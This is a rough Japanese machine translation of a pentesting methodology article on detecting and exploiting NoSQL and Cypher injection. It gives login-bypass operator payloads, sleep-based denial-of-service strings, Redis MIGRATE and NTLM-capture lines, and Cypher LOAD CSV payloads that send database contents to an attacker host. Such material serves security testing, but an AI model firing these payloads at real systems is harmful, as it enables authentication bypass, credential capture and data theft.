AppSec Tales XXI | NoSQLI から学ぶ

ソース:

medium.com

脆弱性:NoSQL

 

訳:

イントロ

この記事では、アプリケーションをテストして、 NoSQLインジェクションの脆弱性を見つける方法について説明し。
次のような SQL (構造化照会言語) を使用しないさまざまなデータベースで。

 

Source: NoSQL Database — What is NoSQL? | Microsoft Azure

さらに、Cypher Query Language をテストするペイロードもあります。

 

neo4j.com

ガイドライン

アプリケーション エントリポイントを特定したことを前提としていますAppSec Tales XI | AppSec Tales XI 入力の検証

 

karol-mazurek95.medium.com

 

 

ガイドラインはデータベースを特定することから始まりますが、ブラックボックステスト中にデータベースのみに依存することはお勧めできません。
アプリケーションは NoSQL 攻撃を受けやすい脆弱なサードパーティのメカニズムを使用している可能性があるため、とにかくすべてのペイロードを使用することが重要です。 

 

I. DB の識別 — ポートスキャン

 

使用 nmapデータベースが別のポートで動作する場合があるため、バナー取得を使用して完全なポート スキャンを実行し。

 

nmap -p- -sV TARGET_IP

 

Default ports regarding the most common NoSQL databases (MongoDB, Cassandra, Redis, CouchDB, Memcached, DynamoDB, Neo4j, ElasticSearch)

 

より複雑なアプリケーションのほとんどは、別のサーバーにある外部データベースを使用します。
この場合、ポート スキャンでは見つかりません。 

 

II. DB の識別 — ウェブフィンガープリント

 

この方法でデータベースを取得することはまれですが、試してみる価値はあります。 

 

Ⅲ. DB の識別 — 応答

 

 

以下の正規表現を使用した Burp Suite Pro 検索機能を使用して、このプロセスを高速化できます。 

 

Mongo|Cassandra|cql://|Redis|CouchDB|Memcached|DynamoDB|Neo4j|bolt://|ElasticSearch

 

 

URL から列挙するための DB 固有のエンドポイントが見つかりませんでした。
見つけたら、私に知らせるか、 crimson wordlist に直接投稿してください。

 

github.com

IV. DB 識別 - エラー

 

次の説明に従って、ターゲットが特殊文字をどのように処理するかを確認してください。 

 

karol-mazurek95.medium.com

 

簡素化されたリクエストパーツ- 「色付き」

 


'"\/$[].>

'"`{
;$Foo}
$Foo \xYZ


'\"`{\r;$Foo}\n$Foo \\xYZ\u0000

 

Example application error that reveals the underlying NoSQL database.

 

トリガーされたエラーを確認してください。
エラー メッセージ内に、特定のデータベース構文またはデータベース名を直接対象とするデータベース クエリ部分が漏洩している可能性があります。 

 

V. NoSQLI 検出 - SQLI テスト

以下で説明されているように SQLI をテストします。

 

karol-mazurek95.medium.com

SQLI のカジュアルな検出中に、NoSQLI 脆弱性の手がかりが見つかる可能性があります。
たとえば、一重引用符によってエラーが発生する可能性があり。

 

VI. NoSQLI 検出 — 論理演算子

論理演算子 NoSQLI ペイロードを使用してデータを抽出する | 認証をバイパスします。

 

 

・Not equal

{"$ne":7}
[$ne]=7


・Greater than

{"$gt":0}
[$gt]=0

 

・Exists

{"$exists":true}
[$exists]=true

 

・In

{"$in":["admin","administrator"]}
[$in][]=admin&user[$in][]=administrator

 

・Where

{"user": "test","$where": "1"}
user=test&$where=1

 

・And

{"$and": [ {"id": 1}, {"id": 2} ]}
$and[0][id]=1&$and[1][id]=2

# EQUAL TO:

 

・Or

{"$or": [ {"id": 1}, {"id": true} ]}
$and[0][id]=1&$and[1][id]=true

# EQUAL TO: '||'1'=='1'
'||1||'

 

Regex

{ "$regex": ".*" }
[$regex]=.*

 

これが役立つケースは数多くあります。
たとえば、次のような認証をバイパスする場合などで。
password[$ne]=1 またはIDORのような悪用 id[$gt]=1

 

VII. NoSQLI 検出 - ブラインド

応答時間の増加やサーバーとのやり取りに注意して。

 

・Out-of-bound payloads:

db.copyDatabase("\1\2\3\4\5\6\7",'test','vps_ip:80')
db.copyDatabase("\1\2\3\4\5\6\7",'test','domain_collab:80')

 

・Sleep payloads:

{"$where": "sleep(100)"}
$where=sleep(100)
;sleep(100);
'+function(){var waitTill = new Date(new Date().getTime() + 5000);while(waitTill > new Date()){};}(this)+'
'%2bfunction(){var waitTill = new Date(new Date().getTime() %2b 5000);while(waitTill > new Date()){};}(this)%2b'
'%2b(function()%7bif(typeof%20dipyx%3d%3d%3d%22undefined%22)%7bvar%20a%3dnew%20Date()%3bdo%7bvar%20b%3dnew%20Date()%3b%7dwhile(b-a%3c20000)%3bdipyx%3d1%3b%7d%7d())%2b'

 

Request Timer は、プロセスを半自動化するための便利な Burp 拡張機能です。 

 

portswigger.net

Ⅷ. NoSQLI 検出 - キー値指向のデータベース

データベース内のキーに追加の値を挿入してみます。

  • 以下のペイロードが設定されます fooevilいくつかの代わりに defaultアプリケーションが設定する値 (アプリケーションが脆弱な場合):

{key : ["foo", "evil"]}
key[]=foo&key[]=evil

 

 「AppSec Tales XIX |」 CRLF  で説明されている CRLF テクニックを使用します。: 

 

"key1 0 3600 4\r\nfoo\r\nset key2 0 3600 4\r\ninject\r\n"

karol-mazurek95.medium.com

・Out-of-bound Redis payloads:

MIGRATE vps_ip 80 "" 0 5000 KEYS key1 key2 key3
MIGRATE domain_collab 80 "" 0 5000 KEYS key1 key2 key3

 

・NTLM hash extraction in Redis:

eval "dofile('//YOUR_IP/share')" 0

 

設計上、何らかのゼロデイを行わずに Redis、Memcached、DynamoDB などのデータベースで NoSQLI を活用することは不可能です。
ただし、それらと通信する API に問題がある可能性があります。
DB 自体よりも API を攻撃しているようなもので。
詳細については、Memcached に関する以下を参照ください。

 

https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf

 

IX. 暗号クエリ言語インジェクション (CQLI)

CQL 固有のペイロードを使用します。

WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$vps_ip:80/?cypherinject_'%2bp%2b'='%2btoString(u[p]) as l RETURN 0 as _0//
OR+1%3D1+WITH+1+as+a++CALL+dbms.components%28%29+YIELD+name%2C+versions%2C+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+%27http%3A%2F%2F$vps_ip:80%2F%3Fcypherinject_version%3D%27+%2B+version+%2B+%27%26name%3D%27+%2B+name+%2B+%27%26edition%3D%27+%2B+edition+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a CALL dbms.info() yield name LOAD CSV FROM 'http://$vps_ip:80/?cypherinject_' %2b name as l RETURN 0 as _0 //
%27+WITH+1+as+a+CALL+dbms.info%28%29+yield+name+LOAD+CSV+FROM+%27http%3A%2F%2F$vps_ip:80%2F%3Fcypherinject_%27+%2B+name+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$domain_collab/?cypherinject_'%2bp%2b'='%2btoString(u[p]) as l RETURN 0 as _0//
OR+1%3D1+WITH+1+as+a++CALL+dbms.components%28%29+YIELD+name%2C+versions%2C+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+%27http%3A%2F%2F$domain_collab%2F%3Fcypherinject_version%3D%27+%2B+version+%2B+%27%26name%3D%27+%2B+name+%2B+%27%26edition%3D%27+%2B+edition+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a CALL dbms.info() yield name LOAD CSV FROM 'http://$domain_collab/?cypherinject_' %2b name as l RETURN 0 as _0 //
WITH+1+as+a+CALL+dbms.info%28%29+yield+name+LOAD+CSV+FROM+%27http%3A%2F%2F$domain_collab%2F%3Fcypherinject_%27+%2B+name+as+l+RETURN+0+as+_0+%2F%2F

 

Use Cyphermap:

 

./cyphermap.py -u "http://TARGET_URL" -d "search=a*" -c "session=cookie" -s Sarah -L

github.com

DB が neo4j を使用していて脆弱な場合、上記のペイロードが機能する可能性が高くなります。
ただし、Cypher Injections についてのみ別の記事を書くことができます。 悪用のプロセスについて詳しく知ることは良いことです。
これについては以下で詳しく説明されています。

 

pentester.land

ツール

このセクションでは、NoSQLI の検出と悪用に役立つツールとワードリストを見つけることができ。

NoSQLMAP - インジェクション攻撃を監査および自動化し、NoSQL データベースの構成の弱点を悪用する SQLmap ツールに似ています。 その目的は、データベースからデータを開示または複製することです。

 

python NoSQLMap -u "TARGET_URL"

github.com

Cyphermap Cypher データベースをマッピングするためのツール。 ブラインドおよび時間ベースの Cypher インジェクションをサポートします。 このツールはシンプルですが機能的です。 

 

python cyphermap.py -u "TARGET_URL" -d "search=a*" -c "session=cookie" -s Sarah -L

 

github.com

BURP SUITE PRO 拡張機能

単語リスト

  • NOSQL — ワードリストには、エラーとスリープをトリガーするためのペイロードが含まれています。

インパク

通常、NoSQLI インジェクションは、ログインバイパスや論理演算子インジェクションによる情報漏洩につながり。
これは、無限スリープ ペイロード挿入によるサービス拒否の一般的な原因でもあって。

 

 

ほなほな。